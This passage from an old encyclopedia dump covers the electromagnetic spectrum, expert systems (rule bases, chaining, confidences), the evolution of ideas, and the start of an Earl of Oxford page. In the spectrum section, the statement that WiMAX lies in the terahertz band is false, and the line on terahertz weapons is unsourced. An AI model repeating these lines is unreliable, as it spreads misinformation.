[[Radio]] waves generally are utilized by [[antenna (radio)|antennas]] of appropriate size (according to the principle of [[resonance]]), with wavelengths ranging from hundreds of meters to about one millimeter.  They are used for transmission of data, via [[modulation]]. [[Television]], [[mobile phone]]s, [[wireless networking]] and [[amateur radio]] all use radio waves.

=== Microwaves ===

The [[super high frequency]] ([[SHF]]) and [[extremely high frequency]] ([[EHF]]) of [[Microwave]]s come next up the frequency scale. Microwaves are waves which are typically short enough to employ tubular metal [[waveguide]]s of reasonable diameter. Microwave energy is produced with [[klystron]] and [[magnetron]] tubes, and with solid state [[diode]]s such as [[Gunn diode|Gunn]] and [[IMPATT diode|IMPATT]] devices. Microwaves are absorbed by molecules that have a [[dipole moment]] in liquids. In a [[microwave oven]], this effect is used to heat food. Low-intensity microwave radiation is used in [[Wi-Fi]].

It should be noted that an average microwave oven in active condition is, in close range, powerful enough to cause interference with poorly shielded electromagnetic fields such as those found in mobile medical devices and cheap consumer electronics.

==== [[Terahertz radiation]] ====

This is a region of the light spectrum between far infrared and microwaves.  Until recently, the range was rarely studied and few sources existed for microwave energy at the high end of the band (sub-millimeter waves or so-called '''[[terahertz radiation|terahertz waves]]'''), but applications such as imaging and communications are now appearing.  The proposed [[WiMAX]] standard for wireless networking, a long-range enhancement of [[Wi-Fi]], lies within this region. Scientists are also looking to apply Terahertz technology in the armed forces, where high frequency waves will be sent at enemy troops to incapacitate them.

=== Infrared radiation ===
The [[infrared]] part of the electromagnetic spectrum covers the range from roughly 300 GHz (1 mm) to 400 THz (750 nm). It can be divided into three parts:

*'''Far-infrared''', from 300 GHz (1 mm) to 30 THz (10 &amp;mu;m). The lower part of this range may also be called microwaves. This radiation is typically absorbed by so-called rotational modes in gas-phase molecules, by molecular motions in liquids, and by phonons in solids. The water in the Earth's atmosphere absorbs so strongly in this range that it renders the atmosphere effectively opaque. However, there are certain wavelength ranges (&quot;windows&quot;) within the opaque range which allow partial transmission, and can be used for astronomy. The wavelength range from approximately 200 &amp;mu;m up to a few mm is often referred to as [[Submillimetre_astronomy|&quot;sub-millimeter&quot; in astronomy]], reserving far infrared for wavelengths below 200 &amp;mu;m.

*'''Mid-infrared''', from 30 to 120 THz (10 to 2.5 &amp;mu;m). Hot objects ([[black-body]] radiators) can radiate strongly in this range. It is absorbed by molecular vibrations, that is, when the different atoms in a molecule vibrate around their equilibrium positions. This range is sometimes called the ''fingerprint region'' since the mid-infrared absorption spectrum of a compound is very specific for that compound.

*'''Near-infrared''', from 120 to 400 THz (2,500 to 750 nm). Physical processes that are relevant for this range are similar to those for visible light.

=== Visible radiation (light) ===

{| align=&quot;right&quot; class=&quot;wikitable&quot;
|-
! [[Color]] !! Wavelength interval !! Frequency interval
|-
| [[violet (color)|violet]]
|bgcolor=&quot;#50007F&quot;|&lt;font color=white&gt;~ 380 to 430 nm&lt;/font&gt;
|bgcolor=&quot;#50007F&quot;|&lt;font color=white&gt;~ 790 to 700 THz&lt;/font&gt;
|-
| [[blue]]
|bgcolor=&quot;#0000FF&quot;|&lt;font color=white&gt;~ 430 to 500 nm&lt;/font&gt;
|bgcolor=&quot;#0000FF&quot;|&lt;font color=white&gt;~ 700 to 600 THz&lt;/font&gt;
|-
| [[cyan]]
|bgcolor=&quot;#00D4D4&quot;|~ 500 to 520 nm
|bgcolor=&quot;#00D4D4&quot;|~ 600 to 580 THz
|-
| [[green]]
|bgcolor=&quot;#00FF00&quot;|~ 520 to 565 nm
|bgcolor=&quot;#00FF00&quot;|~ 580 to 530 THz
|-
| [[yellow]]
|bgcolor=&quot;#FFFF00&quot;|~ 565 to 590 nm
|bgcolor=&quot;#FFFF00&quot;|~ 530 to 510 THz
|-
| [[orange (colour)|orange]]
|bgcolor=&quot;#FF8000&quot;|~ 590 to 625 nm
|bgcolor=&quot;#FF8000&quot;|~ 510 to 480 THz
|-
| [[red]]
|bgcolor=&quot;#DF0000&quot;|~ 625 to 740 nm
|bgcolor=&quot;#DF0000&quot;|~ 480 to 405 THz
|-
|colspan=&quot;5&quot; rowspan=&quot;1&quot; style=&quot;text-align: center;&quot;|'''Continuous spectrum'''&lt;br /&gt;
[[Image:Spectrum441pxWithnm.png]]&lt;br /&gt;
The spectrum of visible light in [[nanometer]]s&lt;br /&gt;
&lt;small&gt;''Designed for monitors with [[gamma correction|gamma]] 1.5.''&lt;/small&gt;&lt;br /&gt;
|}

Above infrared in frequency comes [[visible light]]. 
This is the range in which the [[sun]] and [[star]]s similar to it emit most
of their radiation. It is probably not a coincidence that the [[luminosity function|human eye is sensitive]] to the wavelengths that the sun emits most strongly. Visible light (and near-infrared light) is typically absorbed and emitted by electrons in molecules and atoms that move from one energy level to another. The light we see with our eyes is really a very small portion of the electromagnetic spectrum.  A [[rainbow]] shows the optical (visible) part of the electromagnetic spectrum; infrared (if you could see it) would be located just beyond the red side of the rainbow with [[ultraviolet]] appearing just beyond the violet end.

=== Ultraviolet light ===
Next in frequency comes [[ultraviolet]] (UV). This is radiation whose wavelength is shorter than the violet end of the [[visible spectrum]].

Being very energetic, UV can break chemical bonds, making molecules unusually reactive or ionizing them, in general changing their mutual behavior. [[Sunburn]], for example, is caused by the disruptive effects of UV radiation on [[skin]] [[Cell (biology)|cell]]s, which can even cause [[skin cancer]], if the radiation damages the complex [[DNA]] molecules in the cells (UV radiation is a proven [[mutagen]]). The [[Sun]] emits a large amount of UV radiation, which could quickly turn [[Earth]] into a barren desert, but most of it is absorbed by the atmosphere's [[ozone layer]] before reaching the surface.

=== X-rays ===
After UV come [[X-ray]]s. Hard X-rays are of shorter wavelengths than soft X-rays. X-rays are used for seeing through some things and not others, as well as for high-energy physics and astronomy. [[Neutron star]]s and accretion disks around [[black hole]]s emit X-rays, which enable us to study them.

=== Gamma rays ===
After hard X-rays come [[gamma rays]]. These are the most energetic [[photons]], having no lower limit to their wavelength. They are useful to [[astronomy|astronomers]] in the study of high-energy objects or regions and find a use with physicists thanks to their penetrative ability and their production from [[radioisotopes]]. The wavelength of gamma rays can be measured with high accuracy by means of [[Compton scattering]].

Note that there are no defined boundaries between the types of electromagnetic radiation. Some wavelengths have a mixture of the properties of two regions of the spectrum. For example, red light resembles infra-red radiation in that it can [[resonate]] some [[chemical bonds]].

==See also==

* [[Spectroscopy]]
* [[Electromagnetic spectroscopy]]
* [[Radiant energy]]
* [[Bandplan]]

== External links ==
* [http://www.ntia.doc.gov/osmhome/allochrt.html U.S. Frequency Allocation Chart] - Covering the range 3 kHz to 300 GHz (from [[United States Department of Commerce|Department of Commerce]])
* [http://strategis.ic.gc.ca/epic/internet/insmt-gst.nsf/vwapj/spectallocation.pdf/%24FILE/spectallocation.pdf Canadian Table of Frequency Allocations] (from [[Industry Canada]])
* [http://www.ofcom.org.uk/static/archive/ra/topics/spectrum-strat/future/strat02/strategy02app_b.pdf UK frequency allocation table] (from [[Ofcom]], which inherited the [[Radiocommunications Agency]]'s duties, pdf format)
*[http://www.scienceofspectroscopy.info The Science of Spectroscopy] - supported by NASA, includes OpenSpectrum, a Wiki-based learning tool for spectroscopy that anyone can edit
*[http://www.e-builds.com/EM%20spectrum/ An EM Spectrum Overview in Flash] by e-builds

{{EMSpectrum}}

&lt;!--Categories--&gt;
[[Category:Electromagnetic spectrum| ]]

&lt;!--Interwiki--&gt;

[[ar:طيف]]
[[ca:Espectre electromagnètic]]
[[cs:Elektromagnetické spektrum]]
[[da:Elektromagnetisk spektrum]]
[[de:Elektromagnetisches Spektrum]]
[[es:Espectro electromagnético]]
[[fi:Sähkömagneettinen spektri]]
[[fr:Spectre électromagnétique]]
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[[he:ספקטרום אלקטרומגנטי]]
[[id:Spektrum elektromagnetik]]
[[it:Spettro elettromagnetico]]
[[ja:&amp;#38651;&amp;#30913;&amp;#12473;&amp;#12506;&amp;#12463;&amp;#12488;&amp;#12523;]]
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  </page>
  <page>
    <title>Expert system</title>
    <id>10136</id>
    <revision>
      <id>41477806</id>
      <timestamp>2006-02-27T16:57:28Z</timestamp>
      <contributor>
        <username>Abdull</username>
        <id>73235</id>
      </contributor>
      <comment>Reverted to Dullfig's version</comment>
      <text xml:space="preserve">An '''expert system''' is a class of [[computer program]]s developed by [[researcher]]s in [[artificial intelligence]] during the [[1970s]] and applied commercially throughout the [[1980s]]. In essence, they are [[Rule engine|programs]] made up of a set of [[Rule of inference|rule]]s that analyze [[information]] (usually supplied by the user of the system) about a specific class of [[problem]]s, as well as provide [[analysis]] of the problem(s), and, ''depending upon their design'', recommend a [[course]] of user action in order to implement corrections. 

A related term is [[wizard (software)]]. Like an expert system, a wizard is also an [[interactive]] computer program that helps a user solve a problem. Usually, the term wizard is used for programs that search a [[database]] for criteria entered by the user. Unfortunately, the distinction between these two definitions is not universal, and some rule-based programs are called wizards.  Other &quot;Wizards&quot; are simply online forms that display a series of menus for the user to facilitate choices, such as the ones which manage the installation of new software on computers, and these clearly are not Expert Systems.

== Types of problems solved by expert systems ==

Typically, the [[problem]]s to be solved are of the sort that would normally be tackled by a human &quot;[[expert]]&quot;&amp;mdash;a medical or other [[professional]], in most cases. Real experts in the problem domain (which will typically be very narrow, for instance &quot;diagnosing skin diseases in human teenagers&quot;) are asked to provide &quot;[[rule of thumb|rules of thumb]]&quot; on how they evaluate the problems, either explicitly with the aid of experienced [[system developer]]s, or sometimes implicitly, by getting such experts to evaluate [[test case]]s and using computer programs to examine the [[test data]] and (in a strictly limited manner) derive [[rule]]s from that.  Generally expert systems are used for problems for which there is no single &quot;correct&quot; solution which can be encoded in a conventional algorithm &amp;mdash; one would not write an expert system to find shortest paths through graphs, or sort data, as there are simply easier ways to do these tasks.

Simple systems use simple true/false [[logic]] to evaluate data, but more sophisticated systems are capable of performing at least some [[evaluation]] taking into account real-world uncertainties, using such methods as [[fuzzy logic]]. Such [[sophistication]] is difficult to develop and still highly imperfect.

== Application ==

While expert systems have distinguished themselves in [[Artificial intelligence|AI]] research in finding practical application, their application has been limited. Expert systems are notoriously narrow in their domain of [[knowledge]]&amp;mdash;as an amusing example, a [[researcher]] used the &quot;skin disease&quot; expert system to diagnose his rustbucket car as likely to have developed measles&amp;mdash;and the systems were thus prone to making [[error]]s that [[human]]s would easily spot. Additionally, once some of the mystique had worn off, most [[programmer]]s realized that simple expert systems were essentially just slightly more elaborate versions of the [[decision logic]] they had already been using. Therefore, some of the techniques of expert systems can now be found in most complex programs without any fuss about them.

Another [[1970s]] and [[1980s]] application of Expert Systems &amp;mdash; which we today would simply call AI &amp;mdash; was in [[computer games]].  For example, the computer [[baseball]] games [[Earl Weaver Baseball]] and [[Tony La Russa Baseball]] each had highly detailed simulations of the game strategies of those two baseball [[managers]].  When a human played the game against the computer, the computer queried the [[Earl Weaver]] or [[Tony La Russa]] Expert System for a decision on what strategy to follow.  Even those choices where some randomness was part of the natural system (such as when to throw a surprise pitch-out to try to trick a runner trying to steal a base) were decided based on probabilities supplied by Weaver or La Russa.  Today we would simply say that &quot;the game's AI provided the opposing manager's strategy.&quot;

==Expert systems versus problem-solving systems== 

The principal [[distinction]] between expert systems and traditional [[problem solving]] programs is the way in which the problem related [[expertise]] is coded. In traditional applications, problem expertise is encoded in both program and data structures.

In the expert system approach all of the problem related expertise is encoded in [[data structure]]s only; none is in programs. Several benefits immediately follow from this [[organization]].

An example may help contrast the traditional problem solving program with the expert system approach. The example is the problem of [[tax advice]]. In the traditional approach data structures describe the taxpayer and tax tables, and a program in which there are statements representing an expert tax consultant's knowledge, such as statements which relate information about the taxpayer to tax table choices. It is this representation of the tax expert's knowledge that is difficult for the tax expert to understand or modify. 

In the expert system approach, the information about taxpayers and tax computations is again found in data structures, but now the knowledge describing the [[relationship]]s between them is encoded in data structures as well. The programs of an expert system are independent of the [[problem domain]] (taxes) and serve to process the data structures without regard to the nature of the problem area they describe. For example, there are programs to acquire the described data values through [[user interaction]], programs to represent and process special [[organization]]s of [[description]], and programs to process the [[declaration]]s that represent [[semantic relationship]]s within the problem domain and an [[algorithm]] to control the processing sequence and focus. 

The general [[architecture]] of an expert system involves two principal components: a problem dependent set of [[data declaration]]s called the [[knowledge base]] or [[rule base]], and a problem independent (although highly data structure dependent) program which is called the [[inference engine]]. See more in '''How it Works''' chapter.

==Individuals involved with expert systems== 

There are generally three individuals having an interaction with expert systems. Primary among these is the [[end-user]]; the individual who uses the system for its problem solving assistance. In the building and maintenance of the system there are two other roles: the [[problem domain expert]] who builds the [[knowledge base]], and a [[knowledge engineers|knowledge engineer]] who assists the experts in determining the [[representation]] of their [[knowledge]] and who defines the [[inference technique]] required to obtain useful problem solving activity. 

===The end user=== 

The [[end-user]] usually sees an expert system through an [[interactive dialog]], an example of which follows: 
:Q. Do you know to which restaurant you want to go? 
:A. No 
:Q. Is there any kind of food you would particularly like? 
:A. Unknown 
:Q. Do you like spicy food? 
:A. No
:Q. Do you usually drink wine with meals? 
:A. Yes 
:Q. When you drink wine, is it French wine?
:A. Why

As can be seen from this [[dialog]], the system is leading the user through a set of [[question]]s, the purpose of which is to determine a suitable set of restaurants to recommend. This dialog begins with the system asking if the user already knows the restaurant choice (a common feature of expert systems) and immediately illustrates a characteristic of expert systems; users may choose not to respond to any question. In expert systems, dialogs are not pre-planned. There is no fixed [[control structure]]. Dialogs are synthesized from the current [[information]] and the [[content]]s of the [[knowledge base]]. Because of this, not being able to supply the answer to a particular questions does not stop the consultation.

Another major distinction between expert systems and traditional systems is illustrated by the following answer given by the system when the user answers a [[question]] with the question &quot;[[why]]&quot;, as occurred in the above example. The answer is: 

:A. I am trying to determine the type of restaurant to suggest. So far Chinese is not a likely choice. It is possible that French is a likely choice. I know that if the diner is a wine drinker, and the preferred wine is French, then there is strong [[evidence]] that the restaurant choice should include French. 

It is very difficult to implement a general [[explanation system]] (answering questions like [[Why]] and [[How]]) in traditional systems. The response of the expert system to the question WHY is an exposure of the underlying [[knowledge structure]]. It is a [[rule]]; a set of [[antecedent condition]]s which, if true, allow the [[logical assertion|assertion]] of a [[consequent]]. The rule references values, and tests them against various [[constraint]]s or asserts constraints onto them. This, in fact, is a significant part of the knowledge structure. There are values, which may be associated with some organizing [[entity]]. For example, the individual diner is an entity with various attributes (values) including whether they drink wine and the kind of wine. There are also rules, which associate the currently known [[Value (computer science)|value]]s of some [[attribute]]s with assertions that can be made about other attributes. It is the orderly processing of these rules that dictates the dialog itself.

===The knowledge engineer=== 

[[Knowledge engineers]] are concerned with the [[representation]] chosen for the expert's knowledge declarations and with the [[inference engine]] used to process that [[knowledge]]. There are several characteristics known to be appropriate to a good [[inference technique]].

:1. A good inference technique is independent of the [[problem domain]].

::In order to realize the benefits of [[explanation]], [[knowledge transparency]], and [[reusability]] of the programs in a new problem domain, the inference engine must not contain domain specific [[expertise]].

:2. Inference techniques may be specific to a particular [[task]], such as [[diagnosis]] of [[hardware configuration]]. Other techniques may be committed only to a particular [[processing technique]].

:3. Inference techniques are always specific to the [[knowledge structure]]s.

:4. Successful examples of rule processing techniques include: 

::(a) [[Forward chaining]]

::(b) [[Backward chaining]]

==The inference rule== 

An understanding of the &quot;[[inference rule]]&quot; concept is important to understand expert systems. An inference rule is a [[statement]] that has two parts, an [[if-clause]] and a [[then-clause]]. An example of an inference rule is: 

:If the restaurant choice includes French, and the occasion is romantic, 

:Then the restaurant choice is definitely Paul Bocuse.

An expert system's rulebase is made up of many such inference rules. They are entered as separate rules and it is the inference engine that uses them together to draw [[conclusion]]s. Because each rule is a unit, rules may be deleted or added without affecting other rules (though it should affect which conclusions are reached). One advantage of inference rules over traditional programming is that inference rules use [[reasoning]] which more closely resemble human reasoning. 

Thus, when a [[conclusion]] is drawn, it is possible to understand how this conclusion was reached. Furthermore, because the expert system uses [[knowledge]] in a form similar to the [[expert]], it may be easier to retrieve this [[information]] from the expert. 

===Chaining=== 

There are two main methods of [[reasoning]] when using inference rules: backward chaining and forward chaining. 

[[Forward chaining]] starts with the data available and uses the inference rules to conclude more data until a desired [[Goal_(management)|goal]] is reached. An inference engine using forward chaining searches the inference rules until it finds one in which the [[if-clause]] is known to be [[true]]. It then concludes the [[then-clause]] and adds this [[information]] to its [[data]]. It would continue to do this until a goal is reached. Because the data available determines which inference rules are used, this method is also called ''data driven''. 

[[Backward chaining]] starts with a list of goals and works backwards to see if there is data which will allow it to conclude any of these goals. An inference engine using backward chaining would search the inference rules until it finds one which has a then-clause that matches a desired goal. If the if-clause of that inference rule is not known to be true, then it is added to the list of goals. For example, suppose a rulebase contains two rules: 

:(1) If Fritz is green then Fritz is a frog.

:(2) If Fritz is a frog then Fritz hops.

Suppose a goal is to conclude that Fritz hops.The rulebase would be searched and rule (2) would be selected because its conclusion (the then clause) matches the goal. It is not known that Fritz is a frog, so this &quot;if&quot; statement is added to the goal list. The rulebase is again searched and this time rule (1) is selected because its then clause matches the new goal just added to the list. This time, the if-clause (Fritz is green) is known to be true and the goal that Fritz hops is concluded. Because the list of goals determines which Rules are selected and used, this method is called ''goal driven''.

==Confidences== 

Another advantage of expert systems over traditional methods of programming is that they allow the use of [[confidence]]s. When a human reasons he does not always conclude things with 100% confidence. He might say, &quot;If Fritz is green, then he is probably a frog&quot; (after all, he might be a chameleon). This type of [[reasoning]] can be imitated by using numeric values called Confidences. For example, if it is known that Fritz is green, it might be concluded with 0.85 Confidence that he is a frog; or, if it is known that he is a frog, it might be concluded with 0.95 Confidence that he hops. These numbers are similar in [[nature]] to [[probability|probabilities]], but they are not the same. They are meant to imitate the Confidences humans use in reasoning rather than to follow the mathematical definitions used in calculating probabilities. 

The following general points about expert systems and their architecture have been illustrated. 

:1. The sequence of steps taken to reach a [[conclusion]] is dynamically synthesized with each new case. It is not explicitly programmed when the system is built. 

:2. Expert systems can process multiple values for any problem parameter. This permits more than one line of reasoning to be pursued and the results of incomplete (not fully determined) reasoning to be presented. 

:3. [[Problem solving]] is accomplished by applying specific [[knowledge]] rather than specific [[technique]]. This is a key idea in expert systems technology. It reflects the belief that human experts do not process their knowledge differently from others, but they do possess different knowledge. With this [[philosophy]], when one finds that their expert system does not produce the [[desired result]]s, work begins to expand the [[knowledge base]], not to re-program the [[procedure]]s.

There are various expert systems in which a &quot;[[rulebase]]&quot; and an &quot;[[inference engine]]&quot; cooperate to simulate the reasoning process that a human expert pursues in analyzing a problem and arriving at a conclusion. In these systems, in order to simulate the human reasoning process, a vast amount of knowledge needed to be stored in the knowledge base. Generally, the knowledge base of such an expert system consisted of a relatively large number of &quot;if then&quot; type of statements that were interrelated in a manner that, in theory at least, resembled the sequence of mental steps that were involved in the human reasoning process. 

Because of the need for large storage capacities and related programs to store the Rulebase, most expert systems have, in the past, been run only on large information handling systems. Recently, the storage capacity of personal computers has increased to a point where it is becoming possible to consider running some types of simple expert systems on [[personal computer]]s.

In some [[application software|applications]] of expert systems, the nature of the application and the amount of stored information necessary to simulate the [[human reasoning process]] for that application is just too vast to store in the active [[computer storage|memory]] of a [[computer]]. In other applications of expert systems, the nature of the application is such that not all of the information is always needed in the reasoning process. An example of this latter type application would be the use of an expert system to diagnose a data processing system comprising many separate components, some of which are optional. When that type of expert system employs a single integrated Rulebase to diagnose the minimum system configuration of the data processing system, much of the Rulebase is not required since many of the components which are optional units of the system will not be present in the system. Nevertheless, earlier expert systems require the entire Rulebase to be stored since all the Rules were, in effect, chained or linked together by
the structure of the Rulebase. 

When the Rulebase is segmented, preferably into contextual segments or units, it is then possible to eliminate portions of the Rulebase containing data or knowledge that is not needed in a particular application. The segmenting of the Rulebase also allows the expert system to be run with systems or on systems having much smaller memory capacities than was possible with earlier arrangements since each segment of the Rulebase can be paged into and out of the system as needed. The segmenting of the Rulebase into contextual segments requires that the expert system manage various intersegment relationships as segments are paged into and out of memory during execution of the program. Since the system permits a Rulebase segment to be called and executed at any time during the processing of the first Rulebase, provision must be made to store the data that has been accumulated up to that point so that at some time later in the process, when the system returns to the first segment, it can proceed from the last point
or RULE node that was processed. Also, provision must be made so that data that has been collected by the system up to that point can be passed to the second segment of the Rulebase after it has been paged into the system and data collected during the processing of the second segment can be passed to the first segment when the system returns to complete processing that segment. 

The [[user interface]] and the [[procedure interface]] are two important functions in the [[information collection process]].

===The user interface=== 

The function of the [[user interface]] is to present [[question]]s and [[information]] to the [[operator]] and supply the operator's [[response]]s to the [[inference engine]].

Any values entered by the user must be received and interpreted by the user interface. Some responses are restricted to a set of possible legal answers, others are not. The user interface checks all responses to insure that they are of the correct data type. Any responses that are restricted to a legal set of answers are compared against these legal answers. Whenever the user enters an illegal answer, the user interface informs the user that his answer was invalid and prompts him to correct it. As explained in the cross referenced application, communication between the user interface and the Inference Engine is performed through the use of a User Interface Control Block (UICB) which is passed between the two.

===Procedure node interface=== 

The function of the Procedure node interface is to receive information from the Procedures coordinator and create the appropriate [[procedure call]]. The ability to call a [[procedure]] and receive information from that procedure can be viewed as simply a [[generalization]] of [[input]] from the external world. While in some earlier expert systems external information has been obtained, that information was obtained only in a predetermined manner so only certain information could actually be acquired. This expert system, disclosed in the cross-referenced application, through the knowledge base, is permitted to invoke any Procedure allowed on its host system. This makes the expert system useful in a much wider class of knowledge domains than if it had no external access or only limited external access. 

In the area of [[machine diagnostics]] using expert systems, particularly self-diagnostic applications, it is not possible to conclude the current state of &quot;[[health]]&quot; of a [[machine]] without some information. The best source of information is the machine itself, for it contains much detailed information that could not reasonably be provided by the [[operator]].

The knowledge that is represented in the system appears in the Rulebase. In the Rulebase described in the cross-referenced applications, there are basically four different types of objects, with associated information present. 

:1. Classes--these are questions asked to the user. 

:2. Parameters--a Parameter is a place holder for a character string which may be a variable that can be inserted into a Class question at the point in the question where the Parameter is positioned. 

:3. Procedures--these are definitions of calls to external Procedures. 

:4. Rule Nodes--The inferencing in the system is done by a tree structure which indicates the Rules or logic which mimics human reasoning. The nodes of these trees are called RULE nodes. There are several different types of RULE nodes. 

The Rulebase comprises a forest of many trees. The top node of the tree is called the Goal node, in that it contains the conclusion. Each tree in the forest has a different Goal node. The leaves of the tree are also referred to as RULE nodes, or one of the types of RULE nodes. A leaf may be an EVIDENCE node, an EXTERNAL node, or a REFERENCE node. 

An EVIDENCE node functions to obtain information from the operator by asking a specific question. In responding to a question presented by an EVIDENCE node, the operator is generally instructed to answer &quot;yes&quot; or &quot;no&quot; represented by numeric values 1 and 0 or provide a value of between 0 and 1, represented by a &quot;maybe.&quot; 

Questions which require a response from the operator other than yes or no or a value between 0 and 1 are handled in a different manner. 

A leaf that is an EXTERNAL node indicates that data will be used which was obtained from a Procedure Call. 

A REFERENCE node functions to refer to another tree or subtree. 

A tree may also contain intermediate or minor nodes between the Goal node and the Leaf node. An intermediate node can represent logical operations like And or Or. 

The [[inference logic]] has two functions. It selects a [[tree]] to trace and then it traces that tree. Once a tree has been selected, that tree is traced, depth-first, left to right. 

The word &quot;tracing&quot; refers to the action the system takes as it traverses the tree, asking Classes (questions), calling Procedures, and calculating Confidences as it proceeds. 

As explained in the cross-referenced applications, the selection of a tree depends on the ordering of the trees. The original ordering of the trees is the order in which they appear in the Rulebase. This order can be changed, however, by assigning an EVIDENCE node an attribute &quot;initial&quot; which is described in detail in these applications. The first action taken is to obtain values for all EVIDENCE nodes which have been assigned an &quot;initial&quot; attribute. Using only the answers to these initial Evidences, the Rules are ordered so that the most likely to succeed is evaluated first. The trees can be further re-ordered since they are constantly being updated as a selected tree is being traced. 

It has been found that the type of information that is solicited by the system from the user by means of questions or classes should be tailored to the level of knowledge of the user. In many applications, the group of prospective uses is nicely defined and the knowledge level can be estimated so that the questions can be presented at a level which corresponds generally to the average user. However, in other applications, knowledge of the specific domain of the expert system might vary considerably among the group of prospective users. 

One application where this is particularly true involves the use of an expert system, operating in a self-diagnostic mode on a personal computer to assist the operator of the personal computer to diagnose the cause of a fault or error in either the hardware or software. In general, asking the operator for information is the most straightforward way for the expert system to gather information assuming, of course, that the information is or should be within the operator's understanding. For example, in diagnosing a [[personal computer]], the expert system must know the major functional [[component]]s of the system. It could ask the operator, for instance, if the [[display]] is a monochrome or color display. The operator should, in all probability, be able to provide the correct answer 100% of the time. The expert system could, on the other hand, cause a [[test unit]] to be run to determine the type of display. The accuracy of the data collected by either approach in this instance probably would not be that
different so the [[Knowledge_engineering|knowledge engineer]] could employ either approach without affecting the accuracy of the [[diagnosis]]. However, in many instances, because of the nature of the information being solicited, it is better to obtain the information from the system rather than asking the operator, because the [[accuracy]] of the data supplied by the operator is so low that the system could not effectively process it to a meaningful [[conclusion]].

In many situations the information is already in the system, in a form of which permits the correct [[answer]] to a question to be obtained through a process of inductive or deductive reasoning. The data previously collected by the system could be answers provided by the user to less complex questions that were asked for a different reason or results returned from test units that were previously run.

==How it works==
Expert Systems consist of: 
* knowledge base (facts)
* production rules (&quot;if.., then..&quot;)
* inference engine (controls how &quot;if.., then..&quot; rules are applied towards facts)

Actually there are two methods to make conclusions. 
{| border=1
! Method name || short explanation || use || example systems
|-
| [[Forward chaining]] 
| facts driven 
| can find new ideas 
| [[CLIPS]], [[Jess_programming_language|Jess]] 
|-
| [[Backward chaining]] 
| hypothesis driven 
| usually used for diagnosis 
| [[Prolog]], [[Mycin]] 
|}
[http://www.expertise2go.com/webesie/tutorials/Inference/ Nice &amp; simple tutorial about backward and forward chaining]

==Prominent expert systems==
*[[Dendral]]
*[[Dipmeter Advisor]]
*[[Mycin]]
*[[CADUCEUS (expert system)]]
*[[R1 (expert system)]]
*[[CLIPS]], [[Jess programming language|Jess]] (java adopted CLIPS syntax)
*[[Prolog]]

== See also ==
* [[Artificial intelligence]]
* [[Artificial neural network]]
* [[Fuzzy logic]]
* [[Heuristic (computer science)]]
* [[Machine learning]]
* [[Clinical decision support system]]
* [[Connectionist expert system]]

== Bibliography ==

* James '''Ignizio,''' ''Introduction to Expert Systems'' (1991), ISBN 0-07-909785-5
* Joseph C. '''Giarratano,''' Gary '''Riley''' ''Expert Systems, Principles and Programming'' (2005), ISBN 0-534-38447-1
* Peter '''Jackson''' ''Introduction to Expert Systems'' (1998), ISBN 0-20-187686-8

==External links==
* [http://www.ericdigests.org/pre-9220/expert.htm What Is An Expert System?]
* [http://www.dmoz.org/Computers/Artificial_Intelligence Artificial Intelligence Directory]
* [http://www.visual-prolog.com/vip6/community/esta/esta.htm ESTA (Expert System Shell for Text Animation)]developed in [http://www.visual-prolog.com/default.htm Visual Prolog]
* [http://www.ruleworks.co.uk RuleWorks Knowledge Based Systems] - Expert System Programming by the Rules
* [http://www.vanguardsw.com/decisionscript/ DecisionScript] - Tool for building Web-based Expert Systems


[[Category:Artificial intelligence]]
[[Category:Computer science]]
[[Category:Decision theory]]
[[Category:Information systems]]
[[Category:Systems]]

&lt;!-- interwiki --&gt;

[[cs:Expertní systém]]
[[de:Expertensystem]]
[[es:Sistema experto]]
[[fr:Système expert]]
[[hr:Ekspertni sustavi]]
[[it:Sistema esperto (informatica)]]
[[ja:エキスパートシステム]]
[[pl:System ekspertowy]]
[[uk:&amp;#1045;&amp;#1082;&amp;#1089;&amp;#1087;&amp;#1077;&amp;#1088;&amp;#1090;&amp;#1085;&amp;#1072; &amp;#1089;&amp;#1080;&amp;#1089;&amp;#1090;&amp;#1077;&amp;#1084;&amp;#1072;]]
[[zh:&amp;#19987;&amp;#23478;&amp;#31995;&amp;#32479;]]</text>
    </revision>
  </page>
  <page>
    <title>Evolution of an idea</title>
    <id>10137</id>
    <revision>
      <id>15907970</id>
      <timestamp>2005-05-12T20:37:35Z</timestamp>
      <contributor>
        <username>Brighterorange</username>
        <id>219031</id>
      </contributor>
      <minor />
      <comment>cleanup (via [[User:brighterorange#PeriodBot|pb]])</comment>
      <text xml:space="preserve">The concept of [[evolution]] has been applied, not only to biology, but to numerous other fields as well. In various disciplines, both the study of the history of [[technology]] and the history of [[philosophy]], the concept is invoked to structure the successive changes in a technology, a concept, or the thinking of an individual philosopher over the course of his work. Selective Evolution has also been proposed as a means by which ideas propagate, spread and change (See [[Meme]], [[History of philosophy]], [[History of technology]], [[Philosophy of science]]).

In general use, evolution in this context refers to theories which identify, and then connect, the discrete steps involved in the process of change from original idea, to its stable form, for example, the first [[telephone]] used a different process for converting sound into electricity than the first commercial phone, this step would be part of the telephone's evolution. 

The evolution of an idea or concepts should be further analyzed. Changes occur due to specifiable types of stimulus or input during the analytical process; these changes occur along specifiable dementions.

Types of input may include outside information supplied by another thinker external to one's mind, or the realization of a flaw on one's own due to an inherent contradiction or paradox. Changes can also occur seemingly spontaneously, during the evolution of an idea one can receive &quot;inspiration&quot; from various sources that are often seemingly unspecifiable.

Changes can happen to the overall way an idea is structured. One may realize that a simple rearrangement can shed light that seems to fill an invisible void. Changes can occur to specific elements of the idea, some specific componant of a conceptual construct can sometimes be altered to be more specific or more broad, or even completely different without disturbing the overall structure, but changing the understanding that the pattern conveys in a beneficial or detrimental way.

Key thinkers in the use of evolution of ideas include [[Hegel]], [[Karl Popper]], [[Richard Dawkins]] and [[Thomas Kuhn]].

{{philo-stub}}
[[Category:Evolution]]</text>
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  </page>
  <page>
    <title>Earl of Abercorn</title>
    <id>10138</id>
    <revision>
      <id>42081032</id>
      <timestamp>2006-03-03T18:19:30Z</timestamp>
      <contributor>
        <username>Choess</username>
        <id>245519</id>
      </contributor>
      <minor />
      <comment>cat</comment>
      <text xml:space="preserve">#REDIRECT [[Duke of Abercorn]]

[[Category:Earldoms|Abercorn]]</text>
    </revision>
  </page>
  <page>
    <title>Edward de Vere, 17th Earl of Oxford</title>
    <id>10139</id>
    <revision>
      <id>39858773</id>
      <timestamp>2006-02-16T09:49:20Z</timestamp>
      <contributor>
        <ip>68.110.9.62</ip>
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      <comment>rv vandalism</comment>
      <text xml:space="preserve">[[Image:Edward de Vere, 17th Earl of Oxford - Project Gutenberg eText 13403.png|thumbnail|250px|right|'''The Earl of Oxford''', from the 1914 publication ''English Travellers of the Renaissance'' by Clare Howard]]

